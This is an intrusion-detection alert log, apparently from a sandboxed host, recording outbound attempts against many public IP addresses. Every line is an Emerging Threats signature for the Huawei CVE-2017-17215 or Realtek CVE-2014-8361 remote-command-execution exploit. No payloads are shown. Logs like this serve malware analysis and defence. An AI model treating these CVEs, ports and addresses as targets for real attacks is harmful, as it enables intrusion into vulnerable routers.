07/20/24-23:01:31.974907	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50664	37215	192.168.2.23	41.6.200.253
07/20/24-23:01:27.653309	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49318	37215	192.168.2.23	124.111.25.252
07/20/24-23:01:51.113661	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58152	52869	192.168.2.23	118.190.106.207
07/20/24-23:02:43.182629	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45054	52869	192.168.2.23	124.204.221.162
07/20/24-23:01:58.751560	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43748	52869	192.168.2.23	210.49.56.86
07/20/24-23:01:42.653653	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40142	52869	192.168.2.23	58.31.233.114
07/20/24-23:01:45.104633	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58656	52869	192.168.2.23	65.50.132.254
07/20/24-23:01:42.672378	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40310	52869	192.168.2.23	47.91.11.144
07/20/24-23:01:42.509003	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43184	52869	192.168.2.23	113.209.32.105
07/20/24-23:01:44.631925	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42362	52869	192.168.2.23	32.163.145.253
07/20/24-23:01:02.515992	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52026	52869	192.168.2.23	186.94.179.5
07/20/24-23:01:08.594120	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39454	52869	192.168.2.23	117.27.97.229
07/20/24-23:01:45.775798	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32852	52869	192.168.2.23	34.116.171.252
07/20/24-23:01:27.749737	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44748	37215	192.168.2.23	86.228.82.71
07/20/24-23:01:42.507489	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41820	52869	192.168.2.23	18.194.44.24
07/20/24-23:01:10.684338	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54702	52869	192.168.2.23	190.111.169.67
07/20/24-23:01:02.374539	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54890	52869	192.168.2.23	25.0.169.170
07/20/24-23:01:41.513792	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47262	52869	192.168.2.23	112.201.119.160
07/20/24-23:01:43.047922	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35292	52869	192.168.2.23	219.196.66.69
07/20/24-23:01:44.839991	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38150	52869	192.168.2.23	25.245.127.235
07/20/24-23:02:48.060990	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33080	52869	192.168.2.23	43.238.238.121
07/20/24-23:01:04.053604	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54380	37215	192.168.2.23	157.20.58.103
07/20/24-23:01:24.867858	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52358	37215	192.168.2.23	157.156.232.12
07/20/24-23:01:42.280418	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51174	52869	192.168.2.23	90.145.205.177
07/20/24-23:01:45.547334	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37662	52869	192.168.2.23	185.111.137.113
07/20/24-23:02:04.052371	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52100	52869	192.168.2.23	104.143.173.10
07/20/24-23:01:01.458734	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41034	52869	192.168.2.23	193.14.204.18
07/20/24-23:01:42.280419	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40114	52869	192.168.2.23	192.160.62.15
07/20/24-23:01:08.590937	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34124	52869	192.168.2.23	196.57.233.80
07/20/24-23:01:45.060540	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45630	52869	192.168.2.23	78.233.35.58
07/20/24-23:01:47.840364	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54362	52869	192.168.2.23	129.40.249.193
07/20/24-23:01:43.164529	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60322	52869	192.168.2.23	192.101.61.62
07/20/24-23:01:08.668802	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52958	52869	192.168.2.23	184.77.18.239
07/20/24-23:01:08.613165	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57364	52869	192.168.2.23	144.0.5.154
07/20/24-23:01:24.883172	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39746	37215	192.168.2.23	111.144.175.212
07/20/24-23:01:52.735812	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41760	52869	192.168.2.23	158.249.141.193
07/20/24-23:01:44.878540	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42798	52869	192.168.2.23	184.50.158.70
07/20/24-23:01:34.050313	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49962	37215	192.168.2.23	157.34.203.66
07/20/24-23:01:10.770014	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56962	52869	192.168.2.23	112.132.188.245
07/20/24-23:01:43.135090	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45490	52869	192.168.2.23	50.90.160.227
07/20/24-23:01:45.053180	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51216	52869	192.168.2.23	74.211.16.76
07/20/24-23:01:44.787907	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43580	52869	192.168.2.23	199.182.118.208
07/20/24-23:01:45.053180	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42650	52869	192.168.2.23	101.184.157.141
07/20/24-23:01:08.572556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53584	52869	192.168.2.23	172.32.160.159
07/20/24-23:01:47.902509	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50868	52869	192.168.2.23	48.202.169.141
07/20/24-23:01:46.004063	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40778	52869	192.168.2.23	104.155.48.50
07/20/24-23:01:04.228026	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55100	37215	192.168.2.23	197.118.91.27
07/20/24-23:01:41.947663	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45862	52869	192.168.2.23	145.93.255.182
07/20/24-23:00:59.158279	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58944	37215	192.168.2.23	41.20.92.100
07/20/24-23:02:04.577562	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53524	52869	192.168.2.23	43.96.28.181
07/20/24-23:01:01.782123	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47614	52869	192.168.2.23	60.63.234.192
07/20/24-23:01:42.374543	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54338	52869	192.168.2.23	189.30.194.82
07/20/24-23:01:55.296002	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41596	52869	192.168.2.23	194.210.88.179
07/20/24-23:00:57.222164	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51548	37215	192.168.2.23	172.101.164.72
07/20/24-23:01:02.229743	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47964	52869	192.168.2.23	71.113.201.241
07/20/24-23:01:52.629007	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34300	52869	192.168.2.23	31.0.108.140
07/20/24-23:01:11.631728	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58466	37215	192.168.2.23	157.127.156.38
07/20/24-23:01:41.991545	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48104	52869	192.168.2.23	164.216.180.24
07/20/24-23:01:50.075288	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41624	52869	192.168.2.23	118.134.216.118
07/20/24-23:01:52.629007	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34300	52869	192.168.2.23	31.0.108.140
07/20/24-23:01:10.251070	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37010	52869	192.168.2.23	207.199.110.98
07/20/24-23:01:31.322110	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46982	52869	192.168.2.23	123.145.45.176
07/20/24-23:02:01.256493	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38542	52869	192.168.2.23	38.218.208.52
07/20/24-23:02:11.791090	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44728	52869	192.168.2.23	208.100.183.132
07/20/24-23:01:21.928521	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46112	37215	192.168.2.23	65.112.198.241
07/20/24-23:01:00.651026	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39940	37215	192.168.2.23	197.175.112.209
07/20/24-23:01:53.357099	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56596	52869	192.168.2.23	161.100.49.199
07/20/24-23:01:46.444817	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54596	52869	192.168.2.23	129.173.206.4
07/20/24-23:01:41.228795	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39798	52869	192.168.2.23	47.91.11.144
07/20/24-23:01:43.607934	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51514	52869	192.168.2.23	41.215.7.68
07/20/24-23:01:20.149798	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58578	37215	192.168.2.23	23.212.5.129
07/20/24-23:01:26.210078	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36794	52869	192.168.2.23	174.98.46.120
07/20/24-23:01:50.845923	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44268	52869	192.168.2.23	128.114.73.170
07/20/24-23:01:48.924853	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39902	52869	192.168.2.23	146.33.84.180
07/20/24-23:00:57.223887	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51376	37215	192.168.2.23	41.76.204.184
07/20/24-23:01:34.044152	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59462	37215	192.168.2.23	197.79.71.16
07/20/24-23:01:02.104572	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32886	37215	192.168.2.23	197.169.129.161
07/20/24-23:01:47.663629	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36982	52869	192.168.2.23	148.112.106.138
07/20/24-23:01:00.639093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52086	37215	192.168.2.23	197.182.113.83
07/20/24-23:01:43.283253	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37266	52869	192.168.2.23	223.250.7.213
07/20/24-23:01:43.843278	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40052	52869	192.168.2.23	159.183.134.67
07/20/24-23:01:50.920103	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57122	52869	192.168.2.23	192.255.251.248
07/20/24-23:01:11.818830	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49182	37215	192.168.2.23	41.199.105.92
07/20/24-23:01:53.066716	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44782	52869	192.168.2.23	69.202.155.168
07/20/24-23:01:44.411586	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37476	52869	192.168.2.23	87.132.55.249
07/20/24-23:00:57.221313	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37348	37215	192.168.2.23	86.49.143.0
07/20/24-23:01:44.469580	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57460	52869	192.168.2.23	165.29.53.230
07/20/24-23:01:20.156820	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42496	37215	192.168.2.23	157.145.57.110
07/20/24-23:01:02.064358	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41428	37215	192.168.2.23	41.158.142.0
07/20/24-23:01:04.113037	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53606	37215	192.168.2.23	197.209.73.42
07/20/24-23:01:42.751499	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38742	52869	192.168.2.23	110.76.42.187
07/20/24-23:01:56.832956	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42474	52869	192.168.2.23	162.18.0.14
07/20/24-23:00:59.196993	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53310	37215	192.168.2.23	103.34.160.230
07/20/24-23:01:27.650037	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36456	37215	192.168.2.23	187.218.18.191
07/20/24-23:01:42.800757	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34404	52869	192.168.2.23	157.252.110.127
07/20/24-23:01:47.569820	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59610	52869	192.168.2.23	118.111.39.192
07/20/24-23:01:40.320408	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37146	37215	192.168.2.23	158.198.153.222
07/20/24-23:01:42.151857	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54136	52869	192.168.2.23	192.12.75.155
07/20/24-23:01:13.185981	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59030	52869	192.168.2.23	218.129.227.171
07/20/24-23:01:55.428221	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55678	52869	192.168.2.23	76.116.108.138
07/20/24-23:01:47.931222	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52006	52869	192.168.2.23	48.216.224.125
07/20/24-23:01:08.667964	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49882	52869	192.168.2.23	115.225.187.157
07/20/24-23:01:13.314226	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40464	52869	192.168.2.23	221.64.55.120
07/20/24-23:01:06.989167	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40244	37215	192.168.2.23	197.83.239.39
07/20/24-23:01:06.991143	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35088	37215	192.168.2.23	41.134.186.139
07/20/24-23:01:50.395253	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56002	52869	192.168.2.23	98.196.109.144
07/20/24-23:01:08.567236	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57386	52869	192.168.2.23	176.229.44.248
07/20/24-23:01:31.313382	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39784	52869	192.168.2.23	39.181.226.152
07/20/24-23:01:46.512162	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36844	52869	192.168.2.23	97.80.44.168
07/20/24-23:01:08.634900	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48196	52869	192.168.2.23	129.194.41.40
07/20/24-23:01:42.486106	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56122	52869	192.168.2.23	149.227.25.96
07/20/24-23:01:02.726681	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54012	52869	192.168.2.23	218.185.172.90
07/20/24-23:01:31.991336	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32994	37215	192.168.2.23	197.240.6.181
07/20/24-23:01:48.021704	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53752	52869	192.168.2.23	210.173.156.193
07/20/24-23:01:55.166507	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46270	52869	192.168.2.23	75.33.175.78
07/20/24-23:00:59.204975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53706	37215	192.168.2.23	157.34.104.183
07/20/24-23:01:02.104571	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43416	37215	192.168.2.23	157.54.52.201
07/20/24-23:01:41.193880	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53462	52869	192.168.2.23	151.105.247.52
07/20/24-23:01:42.677933	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49330	52869	192.168.2.23	40.200.215.102
07/20/24-23:01:04.113037	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39682	37215	192.168.2.23	41.255.209.13
07/20/24-23:01:48.858207	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51006	52869	192.168.2.23	212.62.106.68
07/20/24-23:01:04.627153	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37094	52869	192.168.2.23	185.31.200.232
07/20/24-23:01:00.633642	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42434	37215	192.168.2.23	155.28.185.96
07/20/24-23:01:31.317668	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56692	52869	192.168.2.23	97.193.3.141
07/20/24-23:01:49.040108	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60648	52869	192.168.2.23	73.50.29.53
07/20/24-23:01:45.519802	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39112	52869	192.168.2.23	223.123.26.129
07/20/24-23:01:43.182734	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50088	52869	192.168.2.23	173.1.18.208
07/20/24-23:01:44.001231	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46446	52869	192.168.2.23	145.102.1.140
07/20/24-23:01:56.353592	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46456	52869	192.168.2.23	43.127.30.131
07/20/24-23:02:51.152216	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51020	52869	192.168.2.23	106.28.132.38
07/20/24-23:02:53.715694	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38326	52869	192.168.2.23	73.65.166.64
07/20/24-23:01:50.107973	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49530	52869	192.168.2.23	134.79.117.152
07/20/24-23:01:48.560945	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43414	52869	192.168.2.23	158.244.111.55
07/20/24-23:01:31.330511	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44976	52869	192.168.2.23	142.4.77.39
07/20/24-23:01:31.974907	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59308	37215	192.168.2.23	157.77.110.3
07/20/24-23:01:59.850516	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56446	52869	192.168.2.23	64.55.184.24
07/20/24-23:01:45.648154	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49290	52869	192.168.2.23	179.206.84.130
07/20/24-23:01:47.253863	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49652	52869	192.168.2.23	130.112.45.111
07/20/24-23:01:43.810783	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49636	52869	192.168.2.23	192.175.188.159
07/20/24-23:01:49.463055	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42220	52869	192.168.2.23	126.245.117.149
07/20/24-23:01:08.614193	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54848	52869	192.168.2.23	45.158.122.120
07/20/24-23:01:27.766239	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53782	37215	192.168.2.23	197.105.4.242
07/20/24-23:01:24.904906	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38506	37215	192.168.2.23	47.200.89.27
07/20/24-23:02:10.632121	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57462	52869	192.168.2.23	113.241.33.36
07/20/24-23:02:17.128771	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55714	52869	192.168.2.23	201.34.254.148
07/20/24-23:01:12.806645	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40026	52869	192.168.2.23	44.76.102.214
07/20/24-23:01:14.090830	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36734	37215	192.168.2.23	157.160.251.29
07/20/24-23:01:41.276434	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46648	52869	192.168.2.23	172.43.240.212
07/20/24-23:01:51.968362	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53002	52869	192.168.2.23	9.210.224.238
07/20/24-23:01:00.640312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60452	37215	192.168.2.23	25.19.64.41
07/20/24-23:01:02.055683	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58124	37215	192.168.2.23	197.68.112.71
07/20/24-23:01:02.299793	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45716	52869	192.168.2.23	130.136.141.197
07/20/24-23:01:54.727406	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49250	52869	192.168.2.23	174.110.120.103
07/20/24-23:01:31.333805	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47398	52869	192.168.2.23	2.17.25.163
07/20/24-23:01:45.119426	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52300	52869	192.168.2.23	61.251.112.155
07/20/24-23:01:00.635367	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33796	37215	192.168.2.23	157.139.28.102
07/20/24-23:01:31.983105	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38428	37215	192.168.2.23	41.177.221.69
07/20/24-23:01:47.179280	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39742	52869	192.168.2.23	39.76.169.126
07/20/24-23:01:11.635828	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39608	37215	192.168.2.23	41.124.1.164
07/20/24-23:01:24.876750	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58978	37215	192.168.2.23	197.245.203.130
07/20/24-23:01:57.297792	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54704	52869	192.168.2.23	204.80.169.189
07/20/24-23:01:40.320408	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58788	37215	192.168.2.23	191.219.30.38
07/20/24-23:00:59.211046	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44780	37215	192.168.2.23	219.159.165.91
07/20/24-23:01:44.783923	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32792	52869	192.168.2.23	155.22.111.5
07/20/24-23:01:46.403723	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53572	52869	192.168.2.23	153.234.108.85
07/20/24-23:02:08.135557	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53152	52869	192.168.2.23	132.64.30.154
07/20/24-23:01:47.535939	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53784	52869	192.168.2.23	129.40.249.193
07/20/24-23:01:25.752492	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52942	52869	192.168.2.23	203.166.233.2
